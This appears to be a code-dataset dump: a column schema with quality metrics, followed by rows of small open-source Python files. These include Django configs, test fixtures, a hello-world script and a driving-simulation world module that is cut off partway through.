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int64
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string
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string
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string
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string
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list
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int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
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int64
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string
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string
max_forks_repo_head_hexsha
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max_forks_repo_licenses
list
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int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
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content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
85e929a3c221316739ae90357b9650058bff0de5
214
py
Python
wiki/urls.py
atleastzero/makewiki
f3c6b4b5aa135a21e9f60b7de6ac6f8a653cdf83
[ "MIT" ]
null
null
null
wiki/urls.py
atleastzero/makewiki
f3c6b4b5aa135a21e9f60b7de6ac6f8a653cdf83
[ "MIT" ]
5
2020-06-06T01:55:01.000Z
2021-06-10T19:16:36.000Z
wiki/urls.py
ZeroClasswork/makewiki
f3c6b4b5aa135a21e9f60b7de6ac6f8a653cdf83
[ "MIT" ]
null
null
null
from django.urls import path from . import views urlpatterns = [ path('', views.PageList.as_view(), name='wiki-list-page'), path('<str:slug>', views.PageDetailView.as_view(), name='wiki-details-page'), ]
23.777778
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c809d579ed7321e00d8323e9dacb24269c1fbf0c
121
py
Python
demo/demo/__init__.py
NaleRaphael/nac
205e81502a6bb963bfca47793e3e2b5bc1d582c8
[ "MIT" ]
1
2019-10-08T07:50:39.000Z
2019-10-08T07:50:39.000Z
demo/demo/__init__.py
NaleRaphael/nac
205e81502a6bb963bfca47793e3e2b5bc1d582c8
[ "MIT" ]
null
null
null
demo/demo/__init__.py
NaleRaphael/nac
205e81502a6bb963bfca47793e3e2b5bc1d582c8
[ "MIT" ]
null
null
null
from __future__ import absolute_import from . import foo from .foo import * __all__ = [] __all__.extend(foo.__all__)
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c822472cbe25c107429ea625518c4549f7632b6c
36
py
Python
Python/list.py
thebiebs/python-practise-exercises
28db498f35ec6f9bdd437f54c91990027f4b9436
[ "MIT" ]
null
null
null
Python/list.py
thebiebs/python-practise-exercises
28db498f35ec6f9bdd437f54c91990027f4b9436
[ "MIT" ]
null
null
null
Python/list.py
thebiebs/python-practise-exercises
28db498f35ec6f9bdd437f54c91990027f4b9436
[ "MIT" ]
null
null
null
l1 = eval(input()) print(len(l1))
12
19
0.583333
6
36
3.5
0.833333
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0.166667
36
3
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4
c835adb45e372544d156244b6e3021cd4e60a3e2
502
py
Python
sound_player/common.py
Krozark/sound-player
ad592b364d0d8303c499abaa304f8a698e5fbedb
[ "BSD-2-Clause" ]
null
null
null
sound_player/common.py
Krozark/sound-player
ad592b364d0d8303c499abaa304f8a698e5fbedb
[ "BSD-2-Clause" ]
1
2021-08-24T14:14:03.000Z
2021-08-25T08:06:32.000Z
sound_player/common.py
Krozark/sound-player
ad592b364d0d8303c499abaa304f8a698e5fbedb
[ "BSD-2-Clause" ]
1
2021-12-27T20:44:25.000Z
2021-12-27T20:44:25.000Z
import logging from enum import Enum logger = logging.getLogger(__name__) __version__ = "0.3.0" class STATUS(Enum): ERROR = -1 STOPPED = 1 PLAYING = 2 PAUSED = 3 class StatusObject(object): def __init__(self): self._status = STATUS.STOPPED def status(self): return self._status def play(self): self._status = STATUS.PLAYING def pause(self): self._status = STATUS.PAUSED def stop(self): self._status = STATUS.STOPPED
16.193548
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502
4.822581
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0.187291
0.267559
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4
c840238a336ad05fffc71e5deac48bb9059352b0
241
py
Python
stereo/image/__init__.py
nilsmechtel/stereopy
cd8f34b45ae6667043611e5d02ea46f8ca3f0c7b
[ "MIT" ]
null
null
null
stereo/image/__init__.py
nilsmechtel/stereopy
cd8f34b45ae6667043611e5d02ea46f8ca3f0c7b
[ "MIT" ]
null
null
null
stereo/image/__init__.py
nilsmechtel/stereopy
cd8f34b45ae6667043611e5d02ea46f8ca3f0c7b
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # coding: utf-8 from .pyramid import merge_pyramid, create_pyramid from .segmentation.segment import cell_seg from .tissue_cut.tissue_seg import tissue_seg from .segmentation_deepcell.segment import cell_seg_deepcell
30.125
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0.838174
36
241
5.361111
0.527778
0.165803
0.176166
0.207254
0
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0.009174
0.095436
241
7
61
34.428571
0.876147
0.145228
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1
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1
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4
c84d629039f5607c18ee47e7e02123ee3930321f
145
py
Python
hello.py
haessal/pyMisc
76c25a9f09a509e2e0cd00f92c007ddf0bffe270
[ "MIT" ]
null
null
null
hello.py
haessal/pyMisc
76c25a9f09a509e2e0cd00f92c007ddf0bffe270
[ "MIT" ]
null
null
null
hello.py
haessal/pyMisc
76c25a9f09a509e2e0cd00f92c007ddf0bffe270
[ "MIT" ]
null
null
null
"""This is a 'Hello, world' program.""" def hello(): """Say, hello.""" print("Hello, World!") if __name__ == "__main__": hello()
13.181818
39
0.537931
17
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4.117647
0.705882
0.285714
0
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0.227586
145
10
40
14.5
0.625
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true
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0.25
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0
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4
c094cff70fee74d5e548e9936db785e3ba960bf3
150
py
Python
tests/roots/test-ext-autodoc/target/empty_all.py
samdoran/sphinx
4c91c038b220d07bbdfe0c1680af42fe897f342c
[ "BSD-2-Clause" ]
4,973
2015-01-03T15:44:00.000Z
2022-03-31T03:11:51.000Z
tests/roots/test-ext-autodoc/target/empty_all.py
samdoran/sphinx
4c91c038b220d07bbdfe0c1680af42fe897f342c
[ "BSD-2-Clause" ]
7,850
2015-01-02T08:09:25.000Z
2022-03-31T18:57:40.000Z
tests/roots/test-ext-autodoc/target/empty_all.py
samdoran/sphinx
4c91c038b220d07bbdfe0c1680af42fe897f342c
[ "BSD-2-Clause" ]
2,179
2015-01-03T15:26:53.000Z
2022-03-31T12:22:44.000Z
""" docsting of empty_all module. """ __all__ = [] def foo(): """docstring""" def bar(): """docstring""" def baz(): """docstring"""
8.823529
29
0.513333
15
150
4.8
0.666667
0.333333
0
0
0
0
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0
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0
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0.24
150
16
30
9.375
0.631579
0.393333
0
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1
0.75
false
0
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0
1
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null
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null
0
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1
0
0
0
0
1
0
0
4
c0b0203ecb41facbf79bbc50324c7b45684b5654
146
py
Python
tests/test_app/models.py
brmc/django-octopus
a37dbd9425f92ffbb19ce29647b6bc8d9be51598
[ "MIT" ]
36
2015-03-08T09:06:51.000Z
2021-07-31T04:19:53.000Z
tests/test_app/models.py
brmc/django_octopus
a37dbd9425f92ffbb19ce29647b6bc8d9be51598
[ "MIT" ]
2
2017-01-21T17:25:18.000Z
2019-07-27T08:01:26.000Z
tests/test_app/models.py
brmc/django_octopus
a37dbd9425f92ffbb19ce29647b6bc8d9be51598
[ "MIT" ]
1
2015-03-08T14:53:20.000Z
2015-03-08T14:53:20.000Z
from django.db import models from datetime import datetime class TestModel(models.Model): date = models.DateField(default=datetime.today())
20.857143
53
0.780822
19
146
6
0.684211
0
0
0
0
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0
0
0
0
0
0.130137
146
6
54
24.333333
0.897638
0
0
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1
0
false
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1
0
1
0
0
null
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0
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0
1
0
1
0
0
4
c0e16b161a1d1c4f18c7dae109c71547bae7a310
328
py
Python
tests/test_allow_redirects.py
mmaher22/fgrequests
614d3a271a9758a8db5253c3806d04c5f6dbae6d
[ "BSD-2-Clause" ]
13
2020-06-07T22:09:44.000Z
2022-03-16T13:20:54.000Z
tests/test_allow_redirects.py
mmaher22/fgrequests
614d3a271a9758a8db5253c3806d04c5f6dbae6d
[ "BSD-2-Clause" ]
2
2020-06-22T15:56:23.000Z
2022-01-03T22:28:27.000Z
tests/test_allow_redirects.py
mmaher22/fgrequests
614d3a271a9758a8db5253c3806d04c5f6dbae6d
[ "BSD-2-Clause" ]
1
2021-02-09T22:53:05.000Z
2021-02-09T22:53:05.000Z
import fgrequests arr = ['https://gitlab.com/FaridLU/fgrequests'] response = fgrequests.build(arr, allow_redirects=True) assert response[0].status_code == 200 response = fgrequests.build(arr, allow_redirects=False) assert response[0].status_code != 200 response = fgrequests.build(arr) assert response[0].status_code == 200
25.230769
55
0.77439
44
328
5.659091
0.409091
0.216867
0.277108
0.313253
0.763052
0.763052
0.433735
0.433735
0.433735
0.433735
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0.040541
0.097561
328
12
56
27.333333
0.800676
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false
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4
c0f2ab30f04ebf077bb468d73c99945bd41639b4
437
py
Python
backend/microservices/audio-generator/core/usecases/audio_order/add_audio_order.py
MuhamedAbdalla/Automatic-Audio-Book-Based-On-Emotion-Detection
72130ad037b900461af5be6d80b27ab29c81de5e
[ "MIT" ]
3
2021-04-26T00:17:14.000Z
2021-07-04T15:30:09.000Z
backend/microservices/audio-generator/core/usecases/audio_order/add_audio_order.py
MuhamedAbdalla/Automatic-Audio-Book-Based-On-Emotion-Detection
72130ad037b900461af5be6d80b27ab29c81de5e
[ "MIT" ]
null
null
null
backend/microservices/audio-generator/core/usecases/audio_order/add_audio_order.py
MuhamedAbdalla/Automatic-Audio-Book-Based-On-Emotion-Detection
72130ad037b900461af5be6d80b27ab29c81de5e
[ "MIT" ]
null
null
null
from core.entities import make_audio_order def build_add_audio_orders(insert_audio_order): def add_audio_order(user_id, title, text, start_page, end_page, cloned) -> bool: audio_order = make_audio_order(user_id=user_id, title=title, text=text, start_page=start_page, end_page=end_page, cloned=cloned) return insert_audio_order(audio_order) return add_audio_order
43.7
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4.516129
0.354839
0.285714
0.117857
0.114286
0
0
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4
c0f5e551119ef032cee3761b834cae9e2496dd43
163
py
Python
desafio007.py
romstk/pythonExercicios
a7a6ce7828ec28f5d8eadc0207214722cfc6fcd8
[ "MIT" ]
null
null
null
desafio007.py
romstk/pythonExercicios
a7a6ce7828ec28f5d8eadc0207214722cfc6fcd8
[ "MIT" ]
null
null
null
desafio007.py
romstk/pythonExercicios
a7a6ce7828ec28f5d8eadc0207214722cfc6fcd8
[ "MIT" ]
null
null
null
n1 = float(input('Informe a primeira nota: ')) n2 = float(input('Informe a segunda nota: ')) media = (n1+n2)/2 print('A media do aluno foi: {:.1f} '.format(media))
40.75
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8d033ecb945387547291bd4a631dd02a937b264c
48
py
Python
nadine/__init__.py
alvienzo720/Dep_Nadine
b23688aa87ba3cfe138f9b243eed3f50a74e1486
[ "Apache-2.0" ]
null
null
null
nadine/__init__.py
alvienzo720/Dep_Nadine
b23688aa87ba3cfe138f9b243eed3f50a74e1486
[ "Apache-2.0" ]
null
null
null
nadine/__init__.py
alvienzo720/Dep_Nadine
b23688aa87ba3cfe138f9b243eed3f50a74e1486
[ "Apache-2.0" ]
1
2020-02-24T08:23:45.000Z
2020-02-24T08:23:45.000Z
default_app_config = 'nadine.apps.NadineConfig'
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239e07719ce6b1f92ebecfacfc5f5d8e3a976275
83
py
Python
templatebot/__init__.py
elfq/template-bot-v2
873a928287d721e5b140e2d80e1ed3dfe9255bca
[ "MIT" ]
1
2021-03-26T13:42:28.000Z
2021-03-26T13:42:28.000Z
templatebot/__init__.py
elfq/template-bot-v2
873a928287d721e5b140e2d80e1ed3dfe9255bca
[ "MIT" ]
null
null
null
templatebot/__init__.py
elfq/template-bot-v2
873a928287d721e5b140e2d80e1ed3dfe9255bca
[ "MIT" ]
1
2021-02-07T23:28:13.000Z
2021-02-07T23:28:13.000Z
from .bot import Bot from .utils.logger import LogLevel __all__ = (LogLevel, Bot)
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23acfab1f84553344660d31bb03161d8d33170f9
504
py
Python
apps/common/urls.py
F483/bikesurf.org
c85680f7443920a4dbf95e24f58e0a095c3da42f
[ "MIT" ]
6
2015-08-11T19:48:12.000Z
2019-06-26T20:02:05.000Z
apps/common/urls.py
F483/bikesurf.org
c85680f7443920a4dbf95e24f58e0a095c3da42f
[ "MIT" ]
27
2015-02-15T22:21:20.000Z
2017-12-06T20:27:35.000Z
apps/common/urls.py
F483/bikesurf.org
c85680f7443920a4dbf95e24f58e0a095c3da42f
[ "MIT" ]
3
2015-08-10T18:11:59.000Z
2017-11-28T20:59:40.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2012 Fabian Barkhau <fabian.barkhau@gmail.com> # License: MIT (see LICENSE.TXT file) ID = r"[0-9]+" SLUG = r"[a-z0-9\-]+" USERNAME = r"[\w.@+-]+" # see django.contrib.auth.forms.UserCreationForm def _build_arg(name, pattern): return "(?P<%s>%s)" % (name, pattern) def arg_id(name): return _build_arg(name, ID) def arg_slug(name): return _build_arg(name, SLUG) def arg_username(name): return _build_arg(name, USERNAME)
19.384615
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0.157895
0.177632
0.217105
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1
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0
4
9b14c8f6884a2ee22ace96ca4b11b57015966194
467
py
Python
hitbasic/translations/branch_statement.py
pvmm/hitbasic
f134a80d7e9ada5c7c7423a43001f543fa9ad896
[ "BSD-2-Clause" ]
null
null
null
hitbasic/translations/branch_statement.py
pvmm/hitbasic
f134a80d7e9ada5c7c7423a43001f543fa9ad896
[ "BSD-2-Clause" ]
null
null
null
hitbasic/translations/branch_statement.py
pvmm/hitbasic
f134a80d7e9ada5c7c7423a43001f543fa9ad896
[ "BSD-2-Clause" ]
null
null
null
from . import StatementComponents from ..hitbasic import Surrogate from .. import language_statements as statements class Statement: def __init__(self, rule, position, error, target, branch_type=statements.GOTO, *args, **kwargs): Surrogate.__init__(self, rule, position, error, target=target, branch_type=branch_type, **kwargs) def translate(self): return StatementComponents.from_arg_list(self.branch_type, ' ', self.target).translate()
33.357143
105
0.749465
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467
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0.119403
0.071642
0.119403
0.185075
0.185075
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0.14561
467
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0.875
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0
0
1
1
1
0
0
4
9b1d16ba785fdd97261622bd2e13c26b2c7ccdff
2,812
py
Python
Famcy/_CONSOLE_FOLDER_/iam/signup/page.py
nexuni/Famcy
80f8f18fe1614ab3c203ca3466b9506b494470bf
[ "Apache-2.0" ]
null
null
null
Famcy/_CONSOLE_FOLDER_/iam/signup/page.py
nexuni/Famcy
80f8f18fe1614ab3c203ca3466b9506b494470bf
[ "Apache-2.0" ]
12
2022-02-05T04:56:44.000Z
2022-03-30T09:59:26.000Z
Famcy/_CONSOLE_FOLDER_/iam/signup/page.py
nexuni/Famcy
80f8f18fe1614ab3c203ca3466b9506b494470bf
[ "Apache-2.0" ]
null
null
null
import Famcy # class SignupPage(Famcy.FamcyPage): # def __init__(self): # super(SignupPage, self).__init__("/iam/signup", style) # PAGE_HEADER = { # "title": ["Famcy 會員註冊"], # "size": ["login_section"], # "type": ["input_form"] # } # email_content = Famcy.input_form.generate_values_content("pureInput") # email_content.update({ # "type": "pureInput", # "title": "帳號(email)", # "desc": "", # "input_type": "text", # text / number # "placeholder": "gadmin@nexuni.com", # "mandatory": True # }) # password_content = Famcy.input_form.generate_values_content("inputPassword") # password_content.update({ # "type": "inputPassword", # "desc": "", # "title": "密碼", # "mandatory": True # }) # name_content = Famcy.input_form.generate_values_content("pureInput") # name_content.update({ # "type": "pureInput", # "title": "名字", # "desc": "", # "input_type": "text", # text / number # "placeholder": "Nexuni Admin", # "mandatory": True # }) # input_form_content = Famcy.input_form.generate_template_content([name_content, email_content, password_content]) # input_form_content.update({ # "submit_type": "submit_signup_section", # "main_button_name": ["註冊"], # btn name in same section must not be same # "action_after_post": "save", # (clean / save) # "main_desc": "", # "loader": True # }) # PAGE_CONTENT = [input_form_content] # def signup_submission(submission_list, **configs): # name = sub_list[0][0] # email = sub_list[1][0] # password = sub_list[2][0] # user = FamcyUser.query.filter_by(email=email).first() # if this returns a user, then the email already exists in database # if user: # if a user is found, we want to redirect back to signup page so user can try again # submission_dict_handler = Famcy.SijaxSubmit("update_alert") # submission_dict_handler.alert_setting.update({"alert_type":"alert-danger"}) # return submission_dict_handler.return_submit_info("註冊失敗") # else: # profile_pic_url = current_app.config.get("default_profile_pic_url", "") # # create new user with the form data. Hash the password so plaintext version isn't saved. # new_user = FamcyUser(email=email, name=name, profile_pic_url=profile_pic_url,\ # password=generate_password_hash(password, method='sha256')) # submission_dict_handler = Famcy.SijaxSubmit("redirect_page") # return submission_dict_handler.return_submit_info("main.home") # PAGE_CONTENT_OBJECT = Famcy.generate_content_obj(PAGE_HEADER, PAGE_CONTENT, [signup_submission])
37.493333
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0.184226
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1
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1
0
0
4
f1b2ae46dd18e9c262c04c0d695760f8b3ea00dc
13,104
py
Python
world.py
sahilbhatia17/batch-active-preference-based-learning
f6b7734942f80d0ec39eda57352263e2f11fa180
[ "MIT" ]
21
2018-09-30T07:09:57.000Z
2022-01-13T11:07:08.000Z
world.py
sahilbhatia17/batch-active-preference-based-learning
f6b7734942f80d0ec39eda57352263e2f11fa180
[ "MIT" ]
1
2019-05-22T15:31:18.000Z
2019-05-22T15:37:07.000Z
world.py
sahilbhatia17/batch-active-preference-based-learning
f6b7734942f80d0ec39eda57352263e2f11fa180
[ "MIT" ]
7
2019-03-19T07:52:22.000Z
2021-03-30T22:06:14.000Z
import lane import car import math import feature import dynamics import visualize import utils_driving as utils import sys import theano as th import theano.tensor as tt import numpy as np import shelve th.config.optimizer_verbose = False th.config.allow_gc = False th.config.optimizer = 'fast_compile' class Object(object): def __init__(self, name, x): self.name = name self.x = np.asarray(x) class World(object): def __init__(self): self.cars = [] self.lanes = [] self.roads = [] self.fences = [] self.objects = [] def simple_reward(self, trajs=None, lanes=None, roads=None, fences=None, speed=1., speed_import=1.): if lanes is None: lanes = self.lanes if roads is None: roads = self.roads if fences is None: fences = self.fences if trajs is None: trajs = [c.linear for c in self.cars] elif isinstance(trajs, car.Car): trajs = [c.linear for c in self.cars if c!=trajs] r = 0.1*feature.control() theta = [1., -50., 10., 10., -60.] # Simple model # theta = [.959, -46.271, 9.015, 8.531, -57.604] for lane in lanes: r = r+theta[0]*lane.gaussian() for fence in fences: r = r+theta[1]*fence.gaussian() for road in roads: r = r+theta[2]*road.gaussian(10.) if speed is not None: r = r+speed_import*theta[3]*feature.speed(speed) for traj in trajs: r = r+theta[4]*traj.gaussian() return r def playground(): dyn = dynamics.CarDynamics(0.1) world = World() clane = lane.StraightLane([0., -1.], [0., 1.], 0.17) world.lanes += [clane, clane.shifted(1), clane.shifted(-1)] world.roads += [clane] world.fences += [clane.shifted(2), clane.shifted(-2)] #world.cars.append(car.UserControlledCar(dyn, [0., 0., math.pi/2., 0.], color='orange')) world.cars.append(car.UserControlledCar(dyn, [-0.17, -0.17, math.pi/2., 0.], color='white')) c = car.Car(dyn, [0.1, -0.25, math.pi/3., 0.], color='red', T=100) world.cars.append(c) return world def irl_ground(): dyn = dynamics.CarDynamics(0.1) world = World() clane = lane.StraightLane([0., -1.], [0., 1.], 0.13) world.lanes += [clane, clane.shifted(1), clane.shifted(-1)] world.roads += [clane] world.fences += [clane.shifted(2), clane.shifted(-2)] d = shelve.open('cache', writeback=True) cars = [(-.13, .1, .5, 0.13), (.02, .4, .8, 0.5), (.13, .1, .6, .13), (-.09, .8, .5, 0.), (0., 1., 0.5, 0.), (-.13, -0.5, 0.9, 0.13), (.13, -.8, 1., -0.13), ] def goal(g): @feature.feature def r(t, x, u): return -(x[0]-g)**2 return r for i, (x, y, s, gx) in enumerate(cars): if str(i) not in d: d[str(i)] = [] world.cars.append(car.SimpleOptimizerCar(dyn, [x, y, math.pi/2., s], color='yellow')) world.cars[-1].cache = d[str(i)] def f(j): def sync(cache): d[str(j)] = cache d.sync() return sync world.cars[-1].sync = f(i) for c, (x, y, s, gx) in zip(world.cars, cars): c.reward = world.simple_reward(c, speed=s)+10.*goal(gx) world.cars.append(car.UserControlledCar(dyn, [0., 0., math.pi/2., 0.7], color='red')) world.cars = world.cars[-1:]+world.cars[:-1] return world def world_test(): dyn = dynamics.CarDynamics(0.1) world = World() clane = lane.StraightLane([0., -1.], [0., 1.], 0.13) world.lanes += [clane, clane.shifted(1), clane.shifted(-1)] world.roads += [clane] world.fences += [clane.shifted(2), clane.shifted(-2)] world.cars.append(car.UserControlledCar(dyn, [-0.13, 0., math.pi/2., 0.3], color='red')) world.cars.append(car.SimpleOptimizerCar(dyn, [0.0, 0.5, math.pi/2., 0.3], color='yellow')) world.cars[1].reward = world.simple_reward(world.cars[1], speed=0.5) return world def world0(): dyn = dynamics.CarDynamics(0.1) world = World() clane = lane.StraightLane([0., -1.], [0., 1.], 0.13) world.lanes += [clane, clane.shifted(1), clane.shifted(-1)] world.roads += [clane] world.fences += [clane.shifted(2), clane.shifted(-2)] world.cars.append(car.UserControlledCar(dyn, [-0.13, 0., math.pi/2., 0.3], color='red')) world.cars.append(car.NestedOptimizerCar(dyn, [0.0, 0.5, math.pi/2., 0.3], color='yellow')) world.cars[1].human = world.cars[0] r_h = world.simple_reward([world.cars[1].traj])+100.*feature.bounded_control(world.cars[0].bounds) @feature.feature def human_speed(t, x, u): return -world.cars[1].traj_h.x[t][3]**2 r_r = world.simple_reward(world.cars[1], speed=0.5) world.cars[1].rewards = (r_h, r_r) return world def world1(flag=False): dyn = dynamics.CarDynamics(0.1) world = World() clane = lane.StraightLane([0., -1.], [0., 1.], 0.13) world.lanes += [clane, clane.shifted(1), clane.shifted(-1)] world.roads += [clane] world.fences += [clane.shifted(2), clane.shifted(-2)] world.cars.append(car.UserControlledCar(dyn, [-0.13, 0., math.pi/2., 0.3], color='red')) world.cars.append(car.NestedOptimizerCar(dyn, [0.0, 0.5, math.pi/2., 0.3], color='yellow')) world.cars[1].human = world.cars[0] if flag: world.cars[0].follow = world.cars[1].traj_h r_h = world.simple_reward([world.cars[1].traj], speed_import=.2 if flag else 1., speed=0.8 if flag else 1.)+100.*feature.bounded_control(world.cars[0].bounds) @feature.feature def human_speed(t, x, u): return -world.cars[1].traj_h.x[t][3]**2 r_r = 300.*human_speed+world.simple_reward(world.cars[1], speed=0.5) if flag: world.cars[0].follow = world.cars[1].traj_h world.cars[1].rewards = (r_h, r_r) #world.objects.append(Object('cone', [0., 1.8])) return world def world2(flag=False): dyn = dynamics.CarDynamics(0.1) world = World() clane = lane.StraightLane([0., -1.], [0., 1.], 0.13) world.lanes += [clane, clane.shifted(1), clane.shifted(-1)] world.roads += [clane] world.fences += [clane.shifted(2), clane.shifted(-2), clane.shifted(2.5), clane.shifted(-2.5)] world.cars.append(car.UserControlledCar(dyn, [0., 0., math.pi/2., 0.3], color='red')) world.cars.append(car.NestedOptimizerCar(dyn, [0., 0.3, math.pi/2., 0.3], color='yellow')) world.cars[1].human = world.cars[0] world.cars[0].bounds = [(-3., 3.), (-1., 1.)] if flag: world.cars[0].follow = world.cars[1].traj_h r_h = world.simple_reward([world.cars[1].traj])+100.*feature.bounded_control(world.cars[0].bounds) @feature.feature def human(t, x, u): return -(world.cars[1].traj_h.x[t][0])*10 r_r = 300.*human+world.simple_reward(world.cars[1], speed=0.5) world.cars[1].rewards = (r_h, r_r) #world.objects.append(Object('firetruck', [0., 0.7])) return world def world3(flag=False): dyn = dynamics.CarDynamics(0.1) world = World() clane = lane.StraightLane([0., -1.], [0., 1.], 0.13) world.lanes += [clane, clane.shifted(1), clane.shifted(-1)] world.roads += [clane] world.fences += [clane.shifted(2), clane.shifted(-2), clane.shifted(2.5), clane.shifted(-2.5)] world.cars.append(car.UserControlledCar(dyn, [0., 0., math.pi/2., 0.3], color='red')) world.cars.append(car.NestedOptimizerCar(dyn, [0., 0.3, math.pi/2., 0.3], color='yellow')) world.cars[1].human = world.cars[0] world.cars[0].bounds = [(-3., 3.), (-1., 1.)] if flag: world.cars[0].follow = world.cars[1].traj_h r_h = world.simple_reward([world.cars[1].traj])+100.*feature.bounded_control(world.cars[0].bounds) @feature.feature def human(t, x, u): return (world.cars[1].traj_h.x[t][0])*10 r_r = 300.*human+world.simple_reward(world.cars[1], speed=0.5) world.cars[1].rewards = (r_h, r_r) #world.objects.append(Object('firetruck', [0., 0.7])) return world def world4(flag=False): dyn = dynamics.CarDynamics(0.1) world = World() vlane = lane.StraightLane([0., -1.], [0., 1.], 0.13) hlane = lane.StraightLane([-1., 0.], [1., 0.], 0.13) world.lanes += [vlane, hlane] world.fences += [hlane.shifted(-1), hlane.shifted(1)] world.cars.append(car.UserControlledCar(dyn, [0., -.3, math.pi/2., 0.0], color='red')) world.cars.append(car.NestedOptimizerCar(dyn, [-0.3, 0., 0., 0.], color='yellow')) world.cars[1].human = world.cars[0] world.cars[0].bounds = [(-3., 3.), (-2., 2.)] if flag: world.cars[0].follow = world.cars[1].traj_h world.cars[1].bounds = [(-3., 3.), (-2., 2.)] @feature.feature def horizontal(t, x, u): return -x[2]**2 r_h = world.simple_reward([world.cars[1].traj], lanes=[vlane], fences=[vlane.shifted(-1), vlane.shifted(1)]*2)+100.*feature.bounded_control(world.cars[0].bounds) @feature.feature def human(t, x, u): return -tt.exp(-10*(world.cars[1].traj_h.x[t][1]-0.13)/0.1) r_r = human*10.+horizontal*30.+world.simple_reward(world.cars[1], lanes=[hlane]*3, fences=[hlane.shifted(-1), hlane.shifted(1)]*3+[hlane.shifted(-1.5), hlane.shifted(1.5)]*2, speed=0.9) world.cars[1].rewards = (r_h, r_r) return world def world5(): dyn = dynamics.CarDynamics(0.1) world = World() vlane = lane.StraightLane([0., -1.], [0., 1.], 0.13) hlane = lane.StraightLane([-1., 0.], [1., 0.], 0.13) world.lanes += [vlane, hlane] world.fences += [hlane.shifted(-1), hlane.shifted(1)] world.cars.append(car.UserControlledCar(dyn, [0., -.3, math.pi/2., 0.0], color='red')) world.cars.append(car.NestedOptimizerCar(dyn, [-0.3, 0., 0., 0.0], color='yellow')) world.cars[1].human = world.cars[0] world.cars[1].bounds = [(-3., 3.), (-2., 2.)] @feature.feature def horizontal(t, x, u): return -x[2]**2 r_h = world.simple_reward([world.cars[1].traj], lanes=[vlane], fences=[vlane.shifted(-1), vlane.shifted(1)]*2)+100.*feature.bounded_control(world.cars[0].bounds) @feature.feature def human(t, x, u): return -tt.exp(10*(world.cars[1].traj_h.x[t][1]-0.13)/0.1) r_r = human*10.+horizontal*2.+world.simple_reward(world.cars[1], lanes=[hlane]*3, fences=[hlane.shifted(-1), hlane.shifted(1)]*3+[hlane.shifted(-1.5), hlane.shifted(1.5)]*2, speed=0.9) world.cars[1].rewards = (r_h, r_r) return world def world6(know_model=True): dyn = dynamics.CarDynamics(0.1) world = World() clane = lane.StraightLane([0., -1.], [0., 1.], 0.13) world.lanes += [clane, clane.shifted(1), clane.shifted(-1)] world.roads += [clane] world.fences += [clane.shifted(2), clane.shifted(-2), clane.shifted(2.5), clane.shifted(-2.5)] 